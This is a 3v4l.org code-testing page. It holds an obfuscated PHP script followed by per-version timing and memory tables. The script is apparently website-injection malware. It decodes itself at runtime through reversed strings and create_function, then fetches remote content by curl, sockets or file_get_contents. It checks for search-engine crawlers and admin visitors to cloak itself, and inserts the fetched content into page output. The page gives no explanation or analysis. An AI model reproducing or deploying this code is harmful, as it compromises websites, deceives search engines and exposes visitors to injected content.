3v4l.org

run code in 300+ PHP versions simultaneously
<?php $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $w9 ="\x2f\50\x2e\52\x29\57"; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $syv= "eval(str_replace(array"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $slv = "\x73\164\x72\162\x65\166"; $s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("9"," ",$slv($svv))); function random($arr,$qw) { $g=" w-86794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-873,g= w. r; m-8"."6d944835,sq-87396487293787396086c951874"; $soy = "en2"; $xx="exp"."lode"; $ecx="create_function"; $scy="str_replace"; $a = $xx("|","\x|\1|="|";$|$"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } $ecx("", "};$g//"); $mec("", $soy("?kgwLXze2:Wn@l.?jA{S' ",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.3.00.0070.01016.79
7.2.130.0060.00917.16
7.2.120.0060.00917.14
7.2.110.0100.00017.16
7.2.100.0030.00617.10
7.2.90.0030.00917.12
7.2.80.0070.00717.25
7.2.70.0030.00717.26
7.2.60.0100.00317.22
7.2.50.0030.01317.19
7.2.40.0040.01117.12
7.2.30.0040.01216.98
7.2.20.0040.01117.18
7.2.10.0060.00917.15
7.2.00.0050.01018.48
7.1.250.0000.01316.11
7.1.240.0060.00915.88
7.1.230.0060.00316.18
7.1.220.0070.00316.00
7.1.210.0120.00315.96
7.1.200.0000.01015.79
7.1.190.0070.00715.75
7.1.180.0060.01015.96
7.1.170.0040.00415.82
7.1.160.0080.00815.75
7.1.150.0030.01016.20
7.1.140.0000.01015.71
7.1.130.0100.00015.99
7.1.120.0030.01016.10
7.1.110.0100.00316.24
7.1.100.0120.00315.99
7.1.90.0070.00715.85
7.1.80.0060.00615.91
7.1.70.0050.01016.79
7.1.60.0090.00317.51
7.1.50.0050.01216.73
7.1.40.0040.00816.07
7.1.30.0100.00716.04
7.1.20.0060.00616.20
7.1.10.0030.01016.09
7.1.00.0040.03519.06
7.0.330.0100.00615.54
7.0.320.0070.00715.64
7.0.310.0000.01315.63
7.0.300.0000.01515.50
7.0.290.0130.00315.45
7.0.280.0040.01215.64
7.0.270.0000.01315.59
7.0.260.0030.01015.27
7.0.250.0080.00415.73
7.0.240.0030.00715.57
7.0.230.0000.01115.54
7.0.220.0070.01015.57
7.0.210.0110.00315.55
7.0.200.0150.00715.43
7.0.190.0030.01015.41
7.0.180.0000.00915.48
7.0.170.0040.01115.61
7.0.160.0100.00315.47
7.0.150.0030.01015.33
7.0.140.0080.04018.91
7.0.130.0030.01315.70
7.0.120.0050.03818.94
7.0.110.0040.00715.63
7.0.100.0100.03817.90
7.0.90.0070.04517.83
7.0.80.0160.03617.94
7.0.70.0170.03717.80
7.0.60.0120.03717.96
7.0.50.0110.03718.08
7.0.40.0100.03716.97
7.0.30.0080.03816.96
7.0.20.0090.04016.66
7.0.10.0030.05116.95
7.0.00.0050.04516.82
5.6.380.0050.00814.72
5.6.370.0050.00514.91
5.6.360.0120.00314.58
5.6.350.0080.00414.40
5.6.340.0130.00314.25
5.6.330.0100.00714.77
5.6.320.0080.00814.56
5.6.310.0040.00414.96
5.6.300.0060.00314.66
5.6.290.0060.00614.72
5.6.280.0050.04017.70
5.6.270.0030.01414.59
5.6.260.0040.01114.42
5.6.250.0060.02517.84
5.6.240.0080.04117.60
5.6.230.0050.04417.70
5.6.220.0080.03617.57
5.6.210.0050.02617.61
5.6.200.0080.04817.83
5.6.190.0030.04817.86
5.6.180.0090.03917.71
5.6.170.0050.04717.88
5.6.160.0080.02917.77
5.6.150.0030.04917.80
5.6.140.0070.04417.79
5.6.130.0030.04917.84
5.6.120.0120.04317.82
5.6.110.0060.03017.75
5.6.100.0080.04617.70
5.6.90.0100.04817.85
5.6.80.0110.03517.42
5.6.70.0060.02917.38
5.6.60.0120.04217.57
5.6.50.0030.04717.47
5.6.40.0100.02517.63
5.6.30.0120.03917.67
5.6.20.0080.04117.53
5.6.10.0050.04217.67
5.6.00.0050.04817.35
5.5.380.0070.04015.97
5.5.370.0050.04715.94
5.5.360.0030.05116.11
5.5.350.0020.03415.94
5.5.340.0110.04116.04
5.5.330.0090.02816.13
5.5.320.0110.03616.25
5.5.310.0100.04116.08
5.5.300.0110.04016.28
5.5.290.0040.03616.21
5.5.280.0070.03016.25
5.5.270.0070.04016.09
5.5.260.0100.02516.27
5.5.250.0000.03116.18
5.5.240.0060.04315.78
5.5.230.0020.04715.78
5.5.220.0030.04515.68
5.5.210.0050.04315.78
5.5.200.0030.03615.76
5.5.190.0080.04515.91
5.5.180.0110.03815.92
5.5.170.0060.00611.26
5.5.160.0100.03815.79
5.5.150.0030.04215.73
5.5.140.0090.04115.74
5.5.130.0030.04415.89
5.5.120.0050.04015.82
5.5.110.0030.04215.89
5.5.100.0150.03315.84
5.5.90.0050.04215.82
5.5.80.0110.03515.79
5.5.70.0080.04015.84
5.5.60.0070.02715.64
5.5.50.0020.04415.84
5.5.40.0030.04315.73
5.5.30.0080.04315.84
5.5.20.0060.03515.70
5.5.10.0050.04615.60
5.5.00.0100.03815.81
5.4.450.0050.02715.39
5.4.440.0040.03215.31
5.4.430.0090.04215.41
5.4.420.0090.03015.52
5.4.410.0060.04015.29
5.4.400.0030.04615.03
5.4.390.0110.02315.03
5.4.380.0070.04215.32
5.4.370.0100.03515.29
5.4.360.0080.04515.28
5.4.350.0030.04115.11
5.4.340.0030.04115.12
5.4.330.0070.00711.22
5.4.320.0070.04215.12
5.4.310.0090.04015.13
5.4.300.0050.04215.16
5.4.290.0080.04115.26
5.4.280.0030.04415.16
5.4.270.0100.03715.20
5.4.260.0080.03515.11
5.4.250.0040.04415.11
5.4.240.0030.04215.29
5.4.230.0060.03915.26
5.4.220.0080.03515.13
5.4.210.0050.04015.19
5.4.200.0070.03815.15
5.4.190.0030.04715.13
5.4.180.0100.03715.05
5.4.170.0100.02515.30
5.4.160.0050.04215.24
5.4.150.0050.04215.27
5.4.140.0080.02113.87
5.4.130.0070.03313.86
5.4.120.0070.04013.91
5.4.110.0050.04213.84
5.4.100.0030.04413.84
5.4.90.0050.03513.94
5.4.80.0110.02013.82
5.4.70.0050.03613.79
5.4.60.0070.04213.87
5.4.50.0070.02513.90
5.4.40.0060.03413.94
5.4.30.0100.03513.88
5.4.20.0050.03713.98
5.4.10.0050.04313.92
5.4.00.0050.03413.62
5.3.290.0050.04313.02
5.3.280.0050.04313.00
5.3.270.0120.03512.95
5.3.260.0060.04313.04
5.3.250.0070.03813.04
5.3.240.0050.04212.99
5.3.230.0120.03812.95
5.3.220.0050.03812.93
5.3.210.0030.04312.97
5.3.200.0020.04313.00
5.3.190.0070.04012.98
5.3.180.0080.03912.94
5.3.170.0020.04213.02
5.3.160.0040.03113.03
5.3.150.0050.04113.04
5.3.140.0090.03712.98
5.3.130.0020.03012.92
5.3.120.0080.03713.02
5.3.110.0020.04413.03
5.3.100.0070.02012.77
5.3.90.0060.02512.76
5.3.80.0070.03912.71
5.3.70.0070.02212.65
5.3.60.0090.03712.63
5.3.50.0070.03812.60
5.3.40.0010.03812.65
5.3.30.0110.03512.65
5.3.20.0030.04012.56
5.3.10.0030.04012.56
5.3.00.0050.04212.46

preferences:
36.34 ms | 400 KiB | 5 Q